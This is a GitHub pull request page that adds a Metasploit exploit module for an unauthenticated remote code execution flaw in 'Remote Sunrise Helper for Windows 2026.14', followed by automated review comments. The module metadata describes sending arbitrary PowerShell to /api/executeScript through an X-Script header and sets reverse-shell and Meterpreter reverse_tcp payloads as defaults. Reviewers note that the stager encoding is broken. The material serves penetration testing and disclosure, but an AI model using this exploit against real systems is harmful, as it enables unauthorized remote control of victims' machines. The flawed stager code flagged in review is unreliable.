-
Notifications
You must be signed in to change notification settings - Fork 14.8k
Add Remote Sunrise Helper for Windows 2026.14 unauthenticated RCE #21336
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
90f3b66
c2e7061
e5c4a97
6cba68f
14ab8ee
08a5c13
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -0,0 +1,176 @@ | ||||||
| ## | ||||||
| # This module requires Metasploit: https://metasploit.com/download | ||||||
| # Current source: https://github.com/rapid7/metasploit-framework | ||||||
| ## | ||||||
|
|
||||||
| class MetasploitModule < Msf::Exploit::Remote | ||||||
| Rank = ExcellentRanking | ||||||
|
|
||||||
| include Msf::Exploit::Remote::HttpClient | ||||||
|
|
||||||
| def initialize(info = {}) | ||||||
| super( | ||||||
| update_info( | ||||||
| info, | ||||||
| 'Name' => 'Remote Sunrise Helper for Windows 2026.14 - Unauthenticated RCE', | ||||||
| 'Description' => %q{ | ||||||
| Remote Sunrise Helper for Windows 2026.14 exposes an unauthenticated HTTP API | ||||||
| on a dynamically assigned HTTPS port. When `requires.auth` returned by | ||||||
| /api/getVersion is false, the /api/executeScript endpoint executes arbitrary | ||||||
| PowerShell via the X-Script header with no authentication required. | ||||||
|
Comment on lines
+15
to
+20
|
||||||
| }, | ||||||
| 'License' => MSF_LICENSE, | ||||||
| 'Author' => [ | ||||||
| 'Chokri Hammedi' | ||||||
| ], | ||||||
| 'References' => [ | ||||||
| ['URL', 'https://packetstorm.news/files/id/219192/'] | ||||||
| ], | ||||||
| 'Platform' => 'win', | ||||||
| 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], | ||||||
| 'Targets' => [ | ||||||
| [ | ||||||
| 'PowerShell Direct (reverse shell)', | ||||||
| { | ||||||
| 'Type' => :psh_direct, | ||||||
| 'Arch' => ARCH_CMD, | ||||||
| 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } | ||||||
| } | ||||||
| ], | ||||||
| [ | ||||||
| 'Windows x64 Meterpreter (PowerShell stager)', | ||||||
| { | ||||||
| 'Type' => :psh_stager, | ||||||
| 'Arch' => ARCH_X64, | ||||||
| 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } | ||||||
| } | ||||||
| ], | ||||||
| [ | ||||||
| 'Windows x86 Meterpreter (PowerShell stager)', | ||||||
| { | ||||||
| 'Type' => :psh_stager, | ||||||
| 'Arch' => ARCH_X86, | ||||||
| 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } | ||||||
| } | ||||||
| ] | ||||||
| ], | ||||||
| 'DefaultTarget' => 0, | ||||||
| 'DisclosureDate' => '2026-04-20', | ||||||
| 'Notes' => { | ||||||
| 'Stability' => [CRASH_SAFE], | ||||||
| 'Reliability' => [REPEATABLE_SESSION], | ||||||
| 'SideEffects' => [ARTIFACTS_ON_DISK] | ||||||
|
||||||
| 'SideEffects' => [ARTIFACTS_ON_DISK] | |
| 'SideEffects' => [] |
Copilot
AI
Apr 22, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
For the :psh_stager targets, build_psh_stager is Base64-encoding payload.encoded directly and passing it to powershell -Enc. For meterpreter payloads, payload.encoded is raw shellcode bytes, not PowerShell source, so this will not execute as intended. Use the standard PowerShell helpers (e.g., include Msf::Exploit::Powershell and generate a proper PowerShell stager/command for the selected payload/arch) rather than encoding the raw payload bytes as if it were script text.
Copilot
AI
Apr 22, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
send_version_request rescues only Rex::ConnectionError and Rex::ConnectionTimeout. Other common connection exceptions raised by HTTP requests in this codebase (e.g. Rex::ConnectionRefused / Rex::HostUnreachable) are not handled here and can bubble up as unhandled exceptions during check/exploit. Consider rescuing the same connection exception set used by other HttpClient modules.
Copilot
AI
Apr 22, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
send_script_request has the same narrow connection exception handling as send_version_request. If send_request_cgi raises Rex::ConnectionRefused / Rex::HostUnreachable (common for unreachable services), this method will raise instead of returning nil, which can cause unexpected module crashes.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This PR adds a new exploit module but does not add the corresponding module documentation markdown under
documentation/modules/exploit/windows/misc/remote_sunrise_helper_rce.md. The repo’s documentation guidelines and PR template expect new modules to include a matching documentation file so users can see verification steps, options, and scenarios viainfo -d.